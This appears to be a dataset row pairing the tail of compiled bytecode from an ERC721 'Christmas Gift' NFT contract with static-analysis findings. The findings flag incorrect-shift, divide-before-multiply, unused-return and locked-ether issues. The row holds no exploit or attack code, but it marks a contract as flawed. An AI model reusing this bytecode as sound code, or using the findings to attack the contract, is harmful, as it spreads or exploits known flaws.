6261736536342c000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f726573732028757365206275726e20696e737465616429000000000000000000602082015250565b7f22696d616765223a202200000000000000000000000000000000000000000000600082015250565b7f7b226e616d65223a202243686164656175204368726973746d6173204769667460008201527f2023000000000000000000000000000000000000000000000000000000000000602082015250565b7f222c226465736372697074696f6e223a202246726f6d3a2053616e74612c205460008201527f6f3a20596f75222c000000000000000000000000000000000000000000000000602082015250565b7f496e73756666696369656e742066756e64732073656e74000000000000000000600082015250565b61437181613aff565b811461437c57600080fd5b50565b61438881613b11565b811461439357600080fd5b50565b61439f81613b1d565b81146143aa57600080fd5b50565b6143b681613b69565b81146143c157600080fd5b5056fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220d9bdcc730849767f141155f3b8a9d8d260c9938024eb26277775d771ebe944d064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-shift", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 699 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.